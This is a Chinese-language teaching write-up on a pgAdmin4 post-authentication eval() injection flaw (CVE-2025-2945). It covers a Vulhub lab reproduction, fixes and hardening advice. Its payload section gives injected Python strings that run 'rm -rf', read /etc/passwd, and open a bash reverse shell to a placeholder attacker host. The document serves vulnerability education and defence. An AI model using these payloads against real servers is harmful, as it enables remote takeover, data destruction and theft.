CVE-2025-2945:pgAdmin4 认证后远程代码执行漏洞教学文档
1. 漏洞概述
漏洞编号:CVE-2025-2945
漏洞名称:pgAdmin4 认证后远程代码执行漏洞
漏洞类型:不安全反序列化 / 代码注入
威胁等级:高危 (High) / 严重 (Critical)
受影响版本:pgAdmin4 版本 <= 9.1
修复版本:pgAdmin4 >= 9.2
前置条件:攻击者需要拥有一个有效的 pgAdmin4 用户账户(即经过身份验证)。
2. 组件介绍
pgAdmin4 是一个流行且功能丰富的 PostgreSQL 开源管理和开发平台。它提供了一个基于 Web 的图形化界面,允许数据库管理员和开发人员轻松地管理 PostgreSQL 数据库实例,执行 SQL 查询,管理数据库对象等,被广泛使用。
3. 漏洞详细描述
该漏洞的本质是代码注入,根源在于 pgAdmin4 应用程序对用户输入的处理不当。具体来说,漏洞存在于两个特定的 POST 请求接口中:
- SQL 查询编辑器下载功能:接口路径为
/sqleditor/query_tool/download - 云部署模块:接口路径为
/cloud/deploy
在这两个接口的请求处理逻辑中,应用程序将用户可控的请求参数(query_commited 和 high_availability)未经过任何安全过滤或验证,直接传递给了 Python 内置的危险函数 eval()。
eval() 函数的作用:该函数会将其接收到的字符串参数当作有效的 Python 代码来执行。由于攻击者可以控制传入的参数,他们就可以构造恶意的 Python 代码字符串,从而在运行 pgAdmin4 服务的服务器上以该服务进程的权限(通常是较高的权限)执行任意系统命令。
4. 漏洞复现与环境搭建
4.1 环境准备
为了安全地学习和验证此漏洞,建议在隔离的虚拟机或 Docker 环境中进行。
- 获取漏洞环境:可以使用 Vulhub 这类开源漏洞靶场项目。
- 定位漏洞环境:进入 Vulhub 项目目录,找到
pgadmin/CVE-2025-2945相关的文件夹。 - 启动靶机:根据 Vulhub 的说明文档,使用
docker-compose up -d命令启动包含漏洞版本的 pgAdmin4 容器。
4.2 访问与认证
- 启动成功后,Vulhub 会提示访问的 IP 地址和端口号,例如
http://192.168.1.10:8080。 - 使用浏览器访问该地址,会看到 pgAdmin4 的登录界面。
- 你需要使用预设的或自己配置的账号密码进行登录。成功登录是触发该漏洞的必要前提。
4.3 利用漏洞执行命令
登录后,攻击者可以利用公开的 Expolit (EXP) 脚本向目标发送恶意构造的 POST 请求。
漏洞验证步骤:
- 编写 EXP 脚本:创建一个 Python 脚本,使用
requests库来发送 POST 请求。脚本需要先进行登录,获取并维护会话 Cookie。 - 构造恶意载荷:以创建文件为例,向
/sqleditor/query_tool/download接口发送 POST 请求,在query_commited参数中填入以下代码:
这段代码会调用操作系统命令,在服务器的__import__('os').system('touch /tmp/hack.txt')/tmp目录下创建一个名为hack.txt的空文件。 - 执行 EXP 脚本:运行编写好的脚本。
- 验证执行结果:进入运行 pgAdmin4 的 Docker 容器或服务器,检查
/tmp目录下是否成功创建了hack.txt文件。如果文件存在,则证明远程代码执行成功。
5. 漏洞技术深度分析
5.1 漏洞触发点
- 危险函数:
eval() - 可控参数:
query_commited(位于/sqleditor/query_tool/download接口)high_availability(位于/cloud/deploy接口)
- 攻击流程:
用户输入 -> 未经处理 -> eval() 执行 -> 系统命令执行
5.2 攻击载荷分析
攻击者可以构造多种危险的载荷来实现不同目的:
-
文件操作:
# 删除重要文件(破坏性操作,谨慎使用) __import__('os').system('rm -rf /important/files') # 查看系统敏感信息 __import__('os').system('cat /etc/passwd') -
获取反向 Shell(最高危):
这是最危险的攻击方式,它能让攻击者获得一个交互式的命令行 shell,完全控制服务器。__import__('subprocess').run(['bash', '-c', "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"])解释:
ATTACKER_IP:替换为攻击者自己服务器的 IP 地址。ATTACKER_PORT:替换为攻击者服务器上监听的端口。- 执行该命令后,受害服务器会主动向攻击者的机器建立一个 TCP 连接,并将 bash shell 的标准输入、输出和错误流重定向到该网络连接上。
5.3 修复方案
官方在 pgAdmin4 9.2 版本中修复了此漏洞。修复方法通常是:
- 移除
eval():从根本上避免使用不安全的函数,寻找功能相同的安全替代方案。 - 严格输入验证:如果必须使用动态逻辑,应对用户输入进行严格的白名单验证,只允许预期的、安全的字符和结构。
- 使用安全函数:例如,对于将字符串转换为字典或元组等需求,应使用
ast.literal_eval()等更安全的函数,它只能评估字面量数据结构,而不能执行任意代码。
6. 总结与防护建议
总结
CVE-2025-2945 是一个典型的“认证后”代码注入漏洞。其危害性极高,因为一旦攻击者获得了一个低权限的应用程序账户(例如通过钓鱼、弱口令爆破等方式),就可以直接提升权限到服务器系统层面,导致数据泄露、服务中断乃至整个服务器被控。
给系统管理员的防护建议
- 立即升级:如果正在使用 pgAdmin4,请立即检查版本并升级到 9.2 或更高版本。这是最直接有效的防护措施。
- 最小权限原则:运行 pgAdmin4 的服务进程应使用非 root 的低权限用户,以限制漏洞成功利用后造成的破坏范围。
- 网络隔离:将 pgAdmin4 管理界面限制在内网访问,或通过 VPN 访问,避免直接暴露在公网。
- 强密码策略:对所有 pgAdmin4 用户账户实施强密码策略,防止攻击者通过爆破等方式轻易获得认证凭证。
- 定期安全审计:定期检查系统日志和 pgAdmin4 日志,监控可疑活动。
给开发者的启示
- 永远不要信任用户输入:对所有用户输入的数据都必须进行严格的验证和过滤。
- 避免使用危险函数:如
eval()、exec()、pickle.loads()等,除非有绝对必要且已做好万无一失的安全措施。 - 代码安全审计:在代码开发和安全测试阶段,应重点关注用户输入流入高风险函数的路径。
免责声明:本文档仅用于网络安全教学和研究目的。请勿将文中所述技术用于任何非法或未经授权的测试活动中。